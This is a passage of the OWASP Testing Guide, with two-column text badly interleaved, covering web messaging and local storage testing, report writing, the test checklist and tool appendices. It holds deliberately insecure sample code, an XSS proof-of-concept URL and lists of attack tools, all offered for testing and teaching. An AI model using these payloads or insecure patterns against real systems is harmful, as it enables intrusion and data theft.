The intention is to allow subdomains in this form:
mechanism to store data as key/value pairs tied to a domain and
enforced by the same origin policy (SOP). There are two objects,
www.owasp.org
localStorage that is persistent and is intended to survive browser/
chat.owasp.org system reboots and sessionStorage that is temporary and will only
forums.owasp.org exists until the window or tab is closed.
... On average browsers allow to store in this storage around 5MB per
domain, that compared to the 4KB of cookies is a big difference, but
the key difference from the security perspective is that the data
Insecure code. An attacker can easily bypass the filter as www.
stored in these two objects is kept in the client and never sent to the
owasp.org.attacker.com will match.
server, this also improves network performance as data do not need
to travel over the wire back and forth.
Example of lack of origin check, very insecure as will accept input
from any domain:
localStorage
Access to the storage is normally done using the setItem
window.addEventListener(“message”, callback, true); and getItem functions. The storage can be read from javas-
cript which means with a single XSS an attacker would be able
function callback(e) { to extract all the data from the storage. Also malicious data
/* process message (e.data) */ can be loaded into the storage via JavaScript so the applica-
} tion needs to have the controls in place to treat untrusted data.
Check if there are more than one application in the same domain like
example.foo/app1 and example.foo/app2 because those will share
Input validation example: Lack of security controls lead to Cross-Site
the same storage.
Scripting (XSS)
Data stored in this object will persist after the window is closed, it is
a bad idea to store sensitive data or session identifiers on this object
window.addEventListener(“message”, callback, true); as these can be accesed via JavaScript. Session IDs stored in cookies
can mitigate this risk using the httpOnly flag.
function callback(e) {
if(e.origin === “trusted.domain.com”) { sessionStorage
element.innerHTML= e.data; Main difference with localStorage is that the data stored in this object
} is only accessible until the tab/window is closed which is a perfect
} candidate for data that doesn’t need to persist between sessions. It
shares most of the properties and the getItem/setItem methods, so
manual testing needs to be undertaken to look for these methods
and identify in which parts of the code the storage is accessed.
This code will lead to Cross-Site Scripting (XSS) vulnerabilities as
data is not being treated properly, a more secure approach would be
How to Test
to use the property textContent instead of innetHTML.
Black Box testing
Black box testing for issues within the Local Storage code is not usu-
Tools ally performed since access to the source code is always available as
• OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index
it needs to be sent to the client to be executed.
php/OWASP_Zed_Attack_Proxy_Project
Gray Box testing
ZAP is an easy to use integrated penetration testing tool for finding
First of all, we need to check whether the Local Storage is used.
vulnerabilities in web applications. It is designed to be used by people
with a wide range of security experience and as such is ideal for de-
Example 1: Access to localStorage:
velopers and functional testers who are new to penetration testing.
Access to every element in localStorage with JavaScript:
ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
for(var i=0; i<localStorage.length; i++) {
References console.log(localStorage.key(i), “ = “, localStorage.ge-
OWASP Resources tItem(localStorage.key(i)));
}
209

same code can be applied to sessionStorage


http://server/StoragePOC.html#<img src=x onerror=alert(1)>
Using Google Chrome, click on menu -> Tools -> Developer Tools.
Then under Resources you will see ‘Local Storage’ and ‘Web Storage’.

Tools
Using Firefox with the Firebug add on you can easily inspect the lo- • Firebug - http://getfirebug.com/
calStorage/sessionStorage object in the DOM tab. • Google Chrome Developer Tools - https://developers.google.com
chrome-developer-tools/
• OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index
php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding


vulnerabilities in web applications. It is designed to be used by people
with a wide range of security experience and as such is ideal for de-
Also, we can inspect these objects from the developer tools of our velopers and functional testers who are new to penetration testing.
browser. ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
Next manual testing needs to be conducted in order to determine References
whether the website is storing sensitive data in the storage that
represents a risk and will increase dramatically the impact of a in- OWASP Resources
formation leak. Also check the code handling the Storage to deter- • OWASP HTML5 Security Cheat Sheet: https://www.owasp.org
mine if it is vulnerable to injection attacks, common issue when the index.php/HTML5_Security_Cheat_Sheet
code does not escape the input or output. The JavaScript code has
to be analyzed to evaluate these issues, so make sure you crawl the Whitepapers
application to discover every instance of JavaScript code and note • Web Storage Specification: http://www.w3.org/TR/webstorage/
sometimes applications use third-party libraries that would need to
be examined too.

Here is an example of how improper use of user input and lack of


validation can lead to XSS attacks.

Example 2: XSS in localStorage:


Insecure assignment from localStorage can lead to XSS

function action(){

var resource = location.hash.substring(1);

localStorage.setItem(“item”,resource);

item = localStorage.getItem(“item”);
document.getElementById(“div1”).innerHTML=item;
}
</script>

<body onload=”action()”>
<div id=”div1”></div>
</body>

URL PoC:
210

5 Reporting
Performing the technical side of the assessment is only half
of the overall assessment process. The final product is the
production of a well written and informative report. A report
should be easy to understand and should highlight all the
risks found during the assessment phase.

Performing the technical side of the assessment is only half of the faced throughout the assessment. For example, limitations of
overall assessment process. The final product is the production project-focused tests, limitation in the security testing meth-
of a well written and informative report. A report should be easy ods, performance or technical issues that the tester come across
to understand and should highlight all the risks found during the during the course of assessment, etc.
assessment phase. The report should appeal to both executive
management and technical staff. 2.6 Findings Summary This section outlines the vulnerabilities
that were discovered during testing.
The report needs to have three major sections. It should be creat-
ed in a manner that allows each separate section to be printed and 2.7 Remediation Summary This section outlines the action plan
given to the appropriate teams, such as the developers or system for fixing the vulnerabilities that were discovered during testing.
managers. The recommended sections are outlined below.
3. Findings
1. Executive Summary The last section of the report includes detailed technical infor-
The executive summary sums up the overall findings of the as- mation about the vulnerabilities found and the actions needed to
sessment and gives business managers and system owners a resolve them. This section is aimed at a technical level and should
high level view of the vulnerabilities discovered. The language include all the necessary information for the technical teams to
used should be more suited to people who are not technically understand the issue and resolve it. Each finding should be clear
aware and should include graphs or other charts which show the and concise and give the reader of the report a full understanding
risk level. Keep in mind that executives will likely only have time to of the issue at hand.
read this summary and will want two questions answered in plain
language: 1) What’s wrong? 2) How do I fix it? You have one page The findings section should include:
to answer these questions.
• Screenshots and command lines to indicate what tasks were
The executive summary should plainly state that the vulnerabili- undertaken during the execution of the test case
ties and their severity is an input to their organizational risk man- • The affected item
agement process, not an outcome or remediation. It is safest to • A technical description of the issue and the affected function
explain that tester does not understand the threats faced by the or object
organization or business consequences if the vulnerabilities are • A section on resolving the issue
exploited. This is the job of the risk professional who calculates • The severity rating [1], with vector notation if using CVSS
risk levels based on this and other information. Risk management
will typically be part of the organization’s IT Security Governance, The following is the list of controls that were tested during the
Risk and Compliance (GRC) regime and this report will simply pro- assessment:
vide an input to that process.

2. Test Parameters
The Introduction should outline the parameters of the security
testing, the findings and remediation. Some suggested section
headings include:

2.1 Project Objective: This section outlines the project objectives


and the expected outcome of the assessment.

2.2 Project Scope: This section outlines the agreed scope.

2.3 Project Schedule This section outlines when the testing com-
menced and when it was completed.

2.4 Targets: This section lists the number of applications or tar-


geted systems.

2.5 Limitations: This section outlines every limitation which was


211

Reporting

Test ID Lowest version


Information Gathering
OTG-INFO-001 Conduct Search Engine Discovery and Reconnaissance for Information Leakage
OTG-INFO-002 Fingerprint Web Server
OTG-INFO-003 Review Webserver Metafiles for Information Leakage
OTG-INFO-004 Enumerate Applications on Webserver
OTG-INFO-005 Review Webpage Comments and Metadata for Information Leakage
OTG-INFO-006 Identify application entry points
OTG-INFO-007 Map execution paths through application
OTG-INFO-008 Fingerprint Web Application Framework
OTG-INFO-009 Fingerprint Web Application
OTG-INFO-010 Map Application Architecture
Configuration and Deploy Management Testing
OTG-CONFIG-001 Test Network/Infrastructure Configuration
OTG-CONFIG-002 Test Application Platform Configuration
OTG-CONFIG-003 Test File Extensions Handling for Sensitive Information
OTG-CONFIG-004 Backup and Unreferenced Files for Sensitive Information
OTG-CONFIG-005 Enumerate Infrastructure and Application Admin Interfaces
OTG-CONFIG-006 Test HTTP Methods
OTG-CONFIG-007 Test HTTP Strict Transport Security
OTG-CONFIG-008 Test RIA cross domain policy
Identity Management Testing
OTG-IDENT-001 Test Role Definitions
OTG-IDENT-002 Test User Registration Process
OTG-IDENT-003 Test Account Provisioning Process
OTG-IDENT-004 Testing for Account Enumeration and Guessable User Account
OTG-IDENT-005 Testing for Weak or unenforced username policy
OTG-IDENT-006 Test Permissions of Guest/Training Accounts
OTG-IDENT-007 Test Account Suspension/Resumption Process
Authentication Testing
OTG-AUTHN-001 Testing for Credentials Transported over an Encrypted Channel
OTG-AUTHN-002 Testing for default credentials
OTG-AUTHN-003 Testing for Weak lock out mechanism
OTG-AUTHN-004 Testing for bypassing authentication schema
OTG-AUTHN-005 Test remember password functionality
OTG-AUTHN-006 Testing for Browser cache weakness
OTG-AUTHN-007 Testing for Weak password policy
OTG-AUTHN-008 Testing for Weak security question/answer
OTG-AUTHN-009 Testing for weak password change or reset functionalities
OTG-AUTHN-010 Testing for Weaker authentication in alternative channel
Authorization Testing
OTG-AUTHZ-001 Testing Directory traversal/file include
OTG-AUTHZ-002 Testing for bypassing authorization schema
OTG-AUTHZ-003 Testing for Privilege Escalation
OTG-AUTHZ-004 Testing for Insecure Direct Object References
212

Reporting

Test ID Lowest version


Session Management Testing
OTG-SESS-001 Testing for Bypassing Session Management Schema
OTG-SESS-002 Testing for Cookies attributes
OTG-SESS-003 Testing for Session Fixation
OTG-SESS-004 Testing for Exposed Session Variables
OTG-SESS-005 Testing for Cross Site Request Forgery
OTG-SESS-006 Testing for logout functionality
OTG-SESS-007 Test Session Timeout
OTG-SESS-008 Testing for Session puzzling
Input Validation Testing
OTG-INPVAL-001 Testing for Reflected Cross Site Scripting
OTG-INPVAL-002 Testing for Stored Cross Site Scripting
OTG-INPVAL-003 Testing for HTTP Verb Tampering
OTG-INPVAL-004 Testing for HTTP Parameter pollution
OTG-INPVAL-006 Testing for SQL Injection
Oracle Testing
SQL Server Testing
Testing PostgreSQL
MS Access Testing
Testing for NoSQL injection
OTG-INPVAL-007 Testing for LDAP Injection
OTG-INPVAL-008 Testing for ORM Injection
OTG-INPVAL-009 Testing for XML Injection
OTG-INPVAL-010 Testing for SSI Injection
OTG-INPVAL-011 Testing for XPath Injection
OTG-INPVAL-012 IMAP/SMTP Injection
OTG-INPVAL-013 Testing for Code Injection
Testing for Local File Inclusion
Testing for Remote File Inclusion
OTG-INPVAL-014 Testing for Command Injection
OTG-INPVAL-015 Testing for Buffer overflow
Testing for Heap overflow
Testing for Stack overflow
Testing for Format string
OTG-INPVAL-016 Testing for incubated vulnerabilities
OTG-INPVAL-017 Testing for HTTP Splitting/Smuggling
Error Handling
OTG-ERR-001 Analysis of Error Codes
OTG-ERR-002 Analysis of Stack Traces
Cryptography
OTG-CRYPST-001 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection
OTG-CRYPST-002 Testing for Padding Oracle
OTG-CRYPST-003 Testing for Sensitive information sent via unencrypted channels
213

Reporting

Test ID Lowest version


Business Logic Testing
OTG-BUSLOGIC-001 Test Business Logic Data Validation
OTG-BUSLOGIC-002 Test Ability to Forge Requests
OTG-BUSLOGIC-003 Test Integrity Checks
OTG-BUSLOGIC-004 Test for Process Timing
OTG-BUSLOGIC-005 Test Number of Times a Function Can be Used Limits
OTG-BUSLOGIC-006 Testing for the Circumvention of Work Flows
OTG-BUSLOGIC-007 Test Defenses Against Application Mis-use
OTG-BUSLOGIC-008 Test Upload of Unexpected File Types
OTG-BUSLOGIC-009 Test Upload of Malicious Files
Client Side Testing
OTG-CLIENT-001 Testing for DOM based Cross Site Scripting
OTG-CLIENT-002 Testing for JavaScript Execution
OTG-CLIENT-003 Testing for HTML Injection
OTG-CLIENT-004 Testing for Client Side URL Redirect
OTG-CLIENT-005 Testing for CSS Injection
OTG-CLIENT-006 Testing for Client Side Resource Manipulation
OTG-CLIENT-007 Test Cross Origin Resource Sharing
OTG-CLIENT-008 Testing for Cross Site Flashing
OTG-CLIENT-009 Testing for Clickjacking
OTG-CLIENT-010 Testing WebSockets
OTG-CLIENT-011 Test Web Messaging
OTG-CLIENT-012 Test Local Storage
214

Appendix

Appendix passing in both directions, it can work with custom SSL certificates
and non-proxy-aware clients.
Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/
• Odysseus is a proxy server, which acts as a man-in-the-middle
during an HTTP session. A typical HTTP proxy will relay packets to and
from a client browser and a web server. It will intercept an HTTP ses-
This section is often used to describe the commercial and open- sion’s data in either direction.
source tools that were used in conducting the assessment. When Webstretch Proxy - http://sourceforge.net/projects/webstretch
custom scripts or code are utilized during the assessment, it should • Webstretch Proxy enable users to view and alter all aspects of com-
be disclosed in this section or noted as attachment. Customers ap- munications with a web site via a proxy. It can also be used for debug-
preciate when the methodology used by the consultants is included. It ging during development.
gives them an idea of the thoroughness of the assessment and what WATOBO - http://sourceforge.net/apps/mediawiki/watobo/index.
areas were included. php?title=Main_Page
• WATOBO works like a local proxy, similar to Webscarab, ZAP or
References Industry standard vulnerability severity and risk rankings BurpSuite and it supports passive and active checks.
(CVSS) [1] – http://www.first.org/cvss Firefox LiveHTTPHeaders - https://addons.mozilla.org/en-US/fire-
fox/addon/live-http-headers/
• View HTTP headers of a page and while browsing.
Appendix A: Testing Tools Firefox Tamper Data - https://addons.mozilla.org/en-US/firefox/ad-
Open Source Black Box Testing tools don/tamper-data/
General Testing • Use tamperdata to view and modify HTTP/HTTPS headers and post
parameters
OWASP ZAP Firefox Web Developer Tools - https://addons.mozilla.org/en-US/
• The Zed Attack Proxy (ZAP) is an easy to use integrated penetration firefox/addon/web-developer/
testing tool for finding vulnerabilities in web applications. It is designed • The Web Developer extension adds various web developer tools to
to be used by people with a wide range of security experience and as the browser.
such is ideal for developers and functional testers who are new to DOM Inspector - https://developer.mozilla.org/en/docs/DOM_In-
penetration testing. spector
• ZAP provides automated scanners as well as a set of tools that allow • DOM Inspector is a developer tool used to inspect, browse, and edit
you to find security vulnerabilities manually. the Document Object Model (DOM)
OWASP WebScarab Firefox Firebug - http://getfirebug.com/
• WebScarab is a framework for analysing applications that commu- • Firebug integrates with Firefox to edit, debug, and monitor CSS,
nicate using the HTTP and HTTPS protocols. It is written in Java, and is HTML, and JavaScript.
portable to many platforms. WebScarab has several modes of opera- Grendel-Scan - http://securitytube-tools.net/index.php?title=Gren-
tion that are implemented by a number of plugins. del_Scan
OWASP CAL9000 • Grendel-Scan is an automated security scanning of web applications
• CAL9000 is a collection of browser-based tools that enable more ef- and also supports manual penetration testing.
fective and efficient manual testing efforts. OWASP SWFIntruder - http://www.mindedsecurity.com/swfintruder.
• Includes an XSS Attack Library, Character Encoder/Decoder, HTTP html
Request Generator and Response Evaluator, Testing Checklist, Auto- • SWFIntruder (pronounced Swiff Intruder) is the first tool specifically
mated Attack Editor and much more. developed for analyzing and testing security of Flash applications at
OWASP Pantera Web Assessment Studio Project runtime.
• Pantera uses an improved version of SpikeProxy to provide a power- SWFScan - http://h30499.www3.hp.com/t5/Follow-
ful web application analysis engine. The primary goal of Pantera is to ing-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-
combine automated capabilities with complete manual testing to get p/5440167
the best penetration testing results. • Flash decompiler
OWASP Mantra - Security Framework Wikto - http://www.sensepost.com/labs/tools/pentest/wikto
• Mantra is a web application security testing framework built on top • Wikto features including fuzzy logic error code checking, a back-end
of a browser. It supports Windows, Linux(both 32 and 64 bit) and Mac- miner, Google-assisted directory mining and real time HTTP request/
intosh. In addition, it can work with other software like ZAP using built response monitoring.
in proxy management function which makes it much more conve- w3af - http://w3af.org
nient. Mantra is available in 9 languages: Arabic, Chinese - Simplified, • w3af is a Web Application Attack and Audit Framework. The project’s
Chinese - Traditional, English, French, Portuguese, Russian, Spanish goal is finding and exploiting web application vulnerabilities.
and Turkish. skipfish - http://code.google.com/p/skipfish/
SPIKE - http://www.immunitysec.com/resources-freesoftware.shtml • Skipfish is an active web application security reconnaissance tool.
• SPIKE designed to analyze new network protocols for buffer over- Web Developer toolbar - https://chrome.google.com/webstore/de-
flows or similar weaknesses. It requires a strong knowledge of C to tail/bfbameneiokkgbdmiekhjnmfkcnldhhm
use and only available for the Linux platform. • The Web Developer extension adds a toolbar button to the browser
Burp Proxy - http://www.portswigger.net/Burp/ with various web developer tools. This is the official port of the Web
• Burp Proxy is an intercepting proxy server for security testing of web Developer extension for Firefox.
applications it allows Intercepting and modifying all HTTP(S) traffic HTTP Request Maker - https://chrome.google.com/webstore/detail/
215

Appendix

kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US • MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools - http://


• Request Maker is a tool for penetration testing. With it you can easily packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html
capture requests made by web pages, tamper with the URL, headers
and POST data and, of course, make new requests Testing Oracle
Cookie Editor - https://chrome.google.com/webstore/detail/fngmhn- • TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/
npilhplaeedifhccceomclgfbg?hl=en-US security/tnscmd/tnscmd-doc.html
• Edit This Cookie is a cookie manager. You can add, delete, edit, search, • Toad for Oracle - http://www.quest.com/toad
protect and block cookies
Cookie swap - https://chrome.google.com/webstore/detail/dff- Testing SSL
hipnliikkblkhpjapbecpmoilcama?hl=en-US • Foundstone SSL Digger - http://www.mcafee.com/us/downloads/
• Swap My Cookies is a session manager, it manages cookies, letting free-tools/ssldigger.aspx
you login on any website with several different accounts.
Firebug lite for Chrome”” - https://chrome.google.com/webstore/de- Testing for Brute Force Password
tail/bmagokdooijbeehmkpknfglimnifench • THC Hydra - http://www.thc.org/thc-hydra/
• Firebug Lite is not a substitute for Firebug, or Chrome Developer • John the Ripper - http://www.openwall.com/john/
Tools. It is a tool to be used in conjunction with these tools. Firebug • Brutus - http://www.hoobie.net/brutus/
Lite provides the rich visual representation we are used to see in Fire- • Medusa - http://www.foofus.net/~jmk/medusa/medusa.html
bug when it comes to HTML elements, DOM elements, and Box Model • Ncat - http://nmap.org/ncat/
shading. It provides also some cool features like inspecting HTML ele-
ments with your mouse, and live editing CSS properties Testing Buffer Overflow
Session Manager”” - https://chrome.google.com/webstore/detail/ OllyDbg - http://www.ollydbg.de
bbcnbpafconjjigibnhbfmmgdbbkcjfi • “A windows based debugger used for analyzing buffer overflow
• With Session Manager you can quickly save your current browser vulnerabilities”
state and reload it whenever necessary. You can manage multiple Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
sessions, rename or remove them from the session library. Each ses- • A fuzzer framework that can be used to explore vulnerabilities and
sion remembers the state of the browser at its creation time, i.e the perform length testing
opened tabs and windows. Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net
Subgraph Vega - http://www.subgraph.com/products.html • A proactive binary checker
• Vega is a free and open source scanner and testing platform to test Metasploit - http://www.metasploit.com/
the security of web applications. Vega can help you find and validate • A rapid exploit development and Testing frame work
SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sen-
sitive information, and other vulnerabilities. It is written in Java, GUI Fuzzer
based, and runs on Linux, OS X, and Windows. • OWASP WSFuzzer
• Wfuzz - http://www.darknet.org.uk/2007/07/wfuzz-a-tool-for-
Testing for specific vulnerabilities bruteforcingfuzzing-web-applications/
Testing for DOM XSS
• DOMinator Pro - https://dominator.mindedsecurity.com Googling
• Stach & Liu’s Google Hacking Diggity Project - http://www.stachliu.
Testing AJAX com/resources/tools/google-hacking-diggity-project/
• OWASP Sprajax Project • Foundstone Sitedigger (Google cached fault-finding) - http://www.
mcafee.com/us/downloads/free-tools/sitedigger.aspx
Testing for SQL Injection
• OWASP SQLiX Commercial Black Box Testing tools
• Sqlninja: a SQL Server Injection & Takeover Tool - http://sqlninja. • NGS Typhon III - http://www.nccgroup.com/en/our-services/
sourceforge.net security-testing-audit-compliance/information-security-software/
• Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http:// ngs-typhon-iii/
sqlmap.org/ • NGSSQuirreL - http://www.nccgroup.com/en/our-services/security-
• Absinthe 1.1 (formerly SQLSqueal) - http://sourceforge.net/projects/ testing-audit-compliance/information-security-software/ngs-
absinthe/ squirrel-vulnerability-scanners/
• SQLInjector - Uses inference techniques to extract data and • IBM AppScan - http://www-01.ibm.com/software/awdtools/
determine the backend database server. http://www.databasesecurity. appscan/
com/sql-injector.htm • Cenzic Hailstorm - http://www.cenzic.com/products_services/
• Bsqlbf-v2: A perl script allows extraction of data from Blind SQL cenzic_hailstorm.php
Injections - http://code.google.com/p/bsqlbf-v2/ • Burp Intruder - http://www.portswigger.net/burp/intruder.html
• Pangolin: An automatic SQL injection penetration testing tool - http:// • Acunetix Web Vulnerability Scanner - http://www.acunetix.com
www.darknet.org.uk/2009/05/pangolin-automatic-sql-injection- • Sleuth - http://www.sandsprite.com
tool/ • NT Objectives NTOSpider - http://www.ntobjectives.com/products/
• Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper - ntospider.php
http://www.ruizata.com/ • MaxPatrol Security Scanner - http://www.maxpatrol.com
• Multiple DBMS Sql Injection tool - SQL Power Injector - http://www. • Ecyware GreenBlue Inspector - http://www.ecyware.com
sqlpowerinjector.com/ • Parasoft SOAtest (more QA-type tool) - http://www.parasoft.com/
216

Appendix

jsp/products/soatest.jsp?itemId=101 Open Source Tools


• MatriXay - http://www.dbappsecurity.com/webscan.html • WATIR - http://wtr.rubyforge.org
• N-Stalker Web Application Security Scanner - http://www.nstalker. • A Ruby based web testing framework that provides an interface into
com Internet Explorer.
• HP WebInspect - http://www.hpenterprisesecurity.com/products/ • Windows only.
hp-fortify-software-security-center/hp-webinspect • HtmlUnit - http://htmlunit.sourceforge.net
• SoapUI (Web Service security testing) - http://www.soapui.org/ • A Java and JUnit based framework that uses the Apache HttpClient
Security/getting-started.html as the transport.
• Netsparker - http://www.mavitunasecurity.com/netsparker/ • Very robust and configurable and is used as the engine for a number
• SAINT - http://www.saintcorporation.com/ of other testing tools.
• QualysGuard WAS - http://www.qualys.com/enterprises/ • jWebUnit - http://jwebunit.sourceforge.net
qualysguard/web-application-scanning/ • A Java based meta-framework that uses htmlunit or selenium as the
• Retina Web - http://www.eeye.com/Products/Retina/Web- testing engine.
Security-Scanner.aspx • Canoo Webtest - http://webtest.canoo.com
• Cenzic Hailstorm - http://www.cenzic.com/downloads/datasheets/ • An XML based testing tool that provides a facade on top of htmlunit.
Cenzic-datasheet-Hailstorm-Technology.pdf • No coding is necessary as the tests are completely specified in XML.
• There is the option of scripting some elements in Groovy if XML does
Source Code Analyzers not suffice.
Open Source / Freeware • Very actively maintained.
• Owasp Orizon • HttpUnit - http://httpunit.sourceforge.net
• OWASP LAPSE • One of the first web testing frameworks, suffers from using the
• OWASP O2 Platform native JDK provided HTTP transport, which can be a bit limiting for
• Google CodeSearchDiggity - http://www.stachliu.com/resources/ security testing.
tools/google-hacking-diggity-project/attack-tools/ • Watij - http://watij.com
• PMD - http://pmd.sourceforge.net/ • A Java implementation of WATIR.
• FlawFinder - http://www.dwheeler.com/flawfinder • Windows only because it uses IE for its tests (Mozilla integration is
• Microsoft’s FxCop in the works).
• Splint - http://splint.org • Solex - http://solex.sourceforge.net
• Boon - http://www.cs.berkeley.edu/~daw/boon • An Eclipse plugin that provides a graphical tool to record HTTP
• FindBugs - http://findbugs.sourceforge.net sessions and make assertions based on the results.
• Find Security Bugs - http://h3xstream.github.io/find-sec-bugs/ • Selenium - http://seleniumhq.org/
• Oedipus - http://www.darknet.org.uk/2006/06/oedipus-open- • JavaScript based testing framework, cross-platform and provides a
source-web-application-security-analysis/ GUI for creating tests.
• W3af - http://w3af.sourceforge.net/ • Mature and popular tool, but the use of JavaScript could hamper
• phpcs-security-audit - https://github.com/Pheromone/phpcs- certain security tests.
security-audit
Other Tools
Commercial Runtime Analysis
• Armorize CodeSecure - http://www.armorize.com/index.php?link_ • Rational PurifyPlus - http://www-01.ibm.com/software/awdtools/
id=codesecure purify/
• Parasoft C/C++ test - http://www.parasoft.com/jsp/products/ • Seeker by Quotium - http://www.quotium.com/prod/security.php
cpptest.jsp/index.htm
• Checkmarx CxSuite - http://www.checkmarx.com Binary Analysis
• HP Fortify - http://www.hpenterprisesecurity.com/products/hp- • BugScam IDC Package - http://sourceforge.net/projects/bugscam
fortify-software-security-center/hp-fortify-static-code-analyzer • Veracode - http://www.veracode.com
• GrammaTech - http://www.grammatech.com
• ITS4 - http://seclab.cs.ucdavis.edu/projects/testing/tools/its4.html Requirements Management
• Appscan - http://www-01.ibm.com/software/rational/products/ • Rational Requisite Pro - http://www-306.ibm.com/software/
appscan/source/ awdtools/reqpro
• ParaSoft - http://www.parasoft.com
• Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de Site Mirroring
• Veracode - http://www.veracode.com • wget - http://www.gnu.org/software/wget, http://www.interlog.
• Armorize CodeSecure - http://www.armorize.com/codesecure/ com/~tcharron/wgetwin.html
• curl - http://curl.haxx.se
Acceptance Testing Tools • Sam Spade - http://www.samspade.org
Acceptance testing tools are used to validate the functionality of web • Xenu’s Link Sleuth - http://home.snafu.de/tilman/xenulink.html
applications. Some follow a scripted approach and typically make use
of a Unit Testing framework to construct test suites and test cases. OWASP Testing Guide Appendix B:
Most, if not all, can be adapted to perform security specific tests in Suggested Reading
addition to functional tests. Whitepapers
• The Economic Impacts of Inadequate Infrastructure for Software
217

Appendix

Testing - http://www.nist.gov/director/planning/upload/report02-3. cad=0#v=onepage&q&f=false


pdf • Mastering the Requirements Process, by Suzanne Robertson and
• Improving Web Application Security: Threats and Countermea- James Robertson, published by Addison-Wesley Professional, ISBN
sures- http://msdn.microsoft.com/en-us/library/ff649874.aspx 0201360462
• NIST Publications - http://csrc.nist.gov/publications/PubsSPs.html • + Online version available at: http://books.google.com/
books?id=SN4WegDHVCcC&printsec=frontcover&source=gbs_ge_
• The Open Web Application Security Project (OWASP) Guide Project - summary_r&cad=0#v=onepage&q&f=false
https://www.owasp.org/index.php/Category:OWASP_Guide_Project • Secure Coding: Principles and Practices, by Mark Graff and Kenneth
• Security Considerations in the System Development Life Cycle R. Van Wyk, published by O’Reilly, ISBN 0596002424 (2003) - http://
(NIST) - http://www.nist.gov/customcf/get_pdf.cfm?pub_id=890097 www.securecoding.org
• The Security of Applications: Not All Are Created Equal - http://www. • Secure Programming for Linux and Unix HOWTO, David Wheeler
securitymanagement.com/archive/library/atstake_tech0502.pdf (2004) http://www.dwheeler.com/secure-programs
• Software Assurance: An Overview of Current Practices - http:// • + Online version: http://www.dwheeler.com/secure-programs/Se-
www.safecode.org/publications/SAFECode_BestPractices0208.pdf cure-Programs-HOWTO/index.html
• Software Security Testing: Software Assurance Pocket guide • Securing Java, by Gary McGraw, Edward W. Felten, published by
